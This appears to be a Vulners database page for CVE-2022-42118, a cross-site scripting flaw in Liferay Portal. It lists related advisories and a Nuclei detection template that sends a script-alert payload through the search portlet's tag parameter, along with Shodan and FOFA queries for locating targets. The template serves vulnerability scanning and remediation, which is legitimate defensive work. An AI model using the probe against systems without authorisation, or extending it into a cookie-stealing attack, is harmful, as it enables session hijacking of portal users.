| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2022-42118 | 15 Nov 202201:15 | – | attackerkb | |
| CVE-2022-42118 | 3 May 202516:34 | – | circl | |
| Liferay Portal和Liferay DXP 跨站脚本漏洞 | 14 Nov 202200:00 | – | cnnvd | |
| CVE-2022-42118 | 15 Nov 202200:00 | – | cve | |
| CVE-2022-42118 | 15 Nov 202200:00 | – | cvelist | |
| Liferay Portal and Liferay DXP Vulnerable to XSS via the Portal Search Module | 15 Nov 202212:00 | – | github | |
| CVE-2022-42118 | 15 Nov 202201:15 | – | nvd | |
| CVE-2022-42118 | 15 Nov 202201:15 | – | osv | |
| GHSA-MR77-4PM4-X9VM Liferay Portal and Liferay DXP Vulnerable to XSS via the Portal Search Module | 15 Nov 202212:00 | – | osv | |
| Cross site scripting | 15 Nov 202201:15 | – | prion |
id: CVE-2022-42118
info:
name: Liferay Portal - Cross-site Scripting
author: ritikchaddha
severity: medium
description: |
A Cross-site scripting (XSS) vulnerability in the Portal Search module in Liferay Portal 7.1.0 through 7.4.2, and Liferay DXP 7.1 before fix pack 27, 7.2 before fix pack 15, and 7.3 before service pack 3 allows remote attackers to inject arbitrary web script or HTML via the `tag` parameter.
impact: |
Unauthenticated attackers can inject malicious JavaScript through the tag parameter in the Portal Search module to steal Liferay Portal user session cookies and credentials.
remediation: |
Update to Liferay Portal 7.4.3+, DXP 7.1 fix pack 27+, DXP 7.2 fix pack 15+, or DXP 7.3 service pack 3+.
reference:
- https://issues.liferay.com/browse/LPE-17342
- https://portal.liferay.dev/learn/security/known-vulnerabilities/-/asset_publisher/HbL5mxmVrnXW/content/cve-2022-42118
- https://nvd.nist.gov/vuln/detail/CVE-2022-42118
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-42118
cwe-id: CWE-79
epss-score: 0.0115
epss-percentile: 0.63047
cpe: cpe:2.3:a:liferay:liferay_portal:*:*:*:*:*:*:*:*
metadata:
vendor: liferay
product: liferay_portal
shodan-query: html:"var Liferay"
fofa-query: body="var Liferay"
tags: cve,cve2022,liferay,xss,vuln
http:
- method: GET
path:
- "{{BaseURL}}/web/guest/home?p_p_id=com_liferay_portal_search_web_portlet_SearchPortlet&p_p_lifecycle=0&_com_liferay_portal_search_web_portlet_SearchPortlet_keywords=test&_com_liferay_portal_search_web_portlet_SearchPortlet_scope=this-site&_com_liferay_portal_search_web_portlet_SearchPortlet_assetTagNames=<script>alert(document.domain)</script>"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<script>alert(document.domain)</script>"
- type: word
part: header
words:
- "text/html"
- "Liferay Portal"
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022061b6954b4a0b3b62a1df7650039a1b64f74e4b2d963695b743df70f662524e77022100eeb7f83b48ebe4ad2bf6abf29497e312739070300e5fc2b958b993c7007cc266:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation